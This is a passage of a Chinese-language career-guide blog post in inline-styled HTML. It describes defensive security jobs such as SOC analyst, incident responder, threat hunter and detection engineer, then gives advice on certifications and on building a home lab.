-apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SOC Analyst (Tier 1) - 安全运营中心的入门级监控与分诊岗位</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">监控来自 SIEM、EDR、IDS 及其他安全工具的告警</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">对告警进行分诊，判定活动性质为正常、可疑或恶意</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">在需要深入调查时将事件升级给高级分析师</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">记录事件并维护调查笔记</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Junior SOC Analyst - 以学习为导向的 SOC 岗位，通常配有资深导师</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">协助告警监控和初步调查工作</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">审查日志和终端告警</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">学习调查流程和安全工具的使用</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">支持事件记录和报告编写</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Security Operations Analyst - 综合性安全监控岗位</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">监控组织的安全仪表板和告警信息</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">调查可疑的登录活动或终端异常行为</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">协助安全事件响应工作</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">维护对各系统和基础设施的安全态势感知</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Threat Intelligence Analyst (Junior) - 专注于威胁情报分析的入门级岗位</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">追踪威胁行为者、攻击活动和新兴漏洞</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">分析威胁报告和情报源</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">编写内部威胁简报</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">为 SOC 调查提供情报支撑</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Vulnerability Analyst - 专注于漏洞识别与追踪的岗位</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">对系统和网络执行漏洞扫描</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">审查扫描结果并按优先级排序</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">与 IT 团队协调漏洞修复</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">追踪补丁进度和风险暴露情况</span></p></li></ul><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">调查与响应岗位</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SOC Analyst (Tier 2) - 负责深度调查的中级分析师</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">调查由 Tier 1 分析师升级的告警</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">跨系统和安全平台进行日志关联分析</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">识别攻击技术和可疑行为模式</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">提出遏制或响应建议</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Incident Responder - 专注于处理活跃安全事件的专家</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">调查已确认的安全事件</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">协调遏制措施，例如隔离受感染主机</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">对入侵事件进行根因分析</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">与 IT 团队协作，安全地恢复系统</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Threat Hunter - 主动搜寻攻击者的分析师</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">在日志和遥测数据中搜索入侵迹象</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">基于攻击者行为建立调查假设</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">调查终端和网络中的可疑活动模式</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">发现绕过自动化检测的隐蔽攻击者</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Digital Forensics Analyst - 专注于数字取证的专家</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">分析磁盘镜像、内存转储和日志</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">在事件调查中重建攻击者的行为时间线</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">识别入侵证据</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">在需要时支持法律或合规调查</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Malware Analyst - 研究恶意软件的专家</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">对恶意软件样本进行逆向工程</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">识别入侵指标 (IOC) 和攻击技术</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">撰写技术分析报告</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">以恶意软件分析成果支持检测工程</span></p></li></ul><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">工程与检测岗位</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Detection Engineer - 负责构建安全检测规则的专家</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">为 SIEM、EDR 和监控平台开发检测规则</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">将检测规则映射到 MITRE ATT&amp;CK 等攻击技术框架</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">调优告警以减少误报</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">提升各环境的检测覆盖率</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Security Engineer - 负责部署和维护安全工具的工程师</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">部署和配置 SIEM、EDR 和日志平台</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">将安全工具集成到组织基础设施中</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">维护日志管道和告警系统</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">支持安全自动化和工具开发</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Purple Team Engineer - 连接攻防两端的岗位</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">模拟攻击技术以测试防御控制措施</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">验证检测规则和响应流程</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">与红蓝两队协作提升安全态势</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">识别检测盲区并提出改进建议</span></p></li></ul><h4 style="font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">领导与战略岗位</span></h4><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">SOC Manager - 负责 SOC 运营管理</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">管理 SOC 分析师和调查工作流</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">跨团队协调事件响应</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">制定监控策略和升级流程</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">汇报 SOC 绩效和安全态势</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Security Operations Lead - 指导防御战略的高级岗位</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">统筹检测工程和威胁狩猎工作</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">协调跨基础设施的防御能力提升</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">制定事件响应策略和操作手册</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">指导初级分析师和工程师</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Threat Intelligence Lead - 指导威胁分析的高级情报岗位</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">主导情报分析工作</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">追踪高级威胁行为者和攻击活动</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">将情报转化为检测能力的提升</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">向管理层提供战略威胁简报</span></p></li></ul><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">课程与认证</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如今可供选择的课程和认证数量庞大。有些质量很高，有些则参差不齐，但现实是：仅凭认证并不足以帮你拿到这个行业的工作。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">不过，认证的价值在于为你的学习提供结构，并展示你在特定领域投入过时间和精力。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你的目标是蓝队或 SOC 岗位，侧重于</span><strong><span leaf="">实战调查、日志分析、检测和事件响应</span></strong><span leaf="">的认证，往往比纯理论认证更有含金量。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">另外需要记住的是，许多组织更看重的是</span><strong><span leaf="">你在实践中能展示出什么</span></strong><span leaf="">，而非简历上认证的数量。说到简历，确保你列出的每一项都能在面试中自信地展开讨论——因为面试时我做的第一件事就是看对方的简历，然后逐一深入了解其中列出的项目和经历。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">搭建自己的实验环境</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果你想在求职时脱颖而出，搭建自己的实验环境是最有效的方法之一。我写过很多关于家庭实验室搭建的文章：这里、这里和这里。我也计划近期翻新这套环境，并记录一些新的实践内容。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">自己动手运行基础设施所能学到的东西，远比看文档或培训视频要多得多。你会了解系统的真实行为方式、日志是如何生成的、以及系统如何出故障——同时还能培养宝贵的排障能力，尤其是在搭建虚拟化平台和 Active Directory 环境时。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下是一些可以在家庭实验环境中搭建的简单项目：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">一个小型 Windows 域环境</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">运行常见服务的 Linux 服务器</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">终端日志和监控工具</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">用于分析日志的 SIEM 平台</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">用于生成攻击流量的存在漏洞的应用</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: 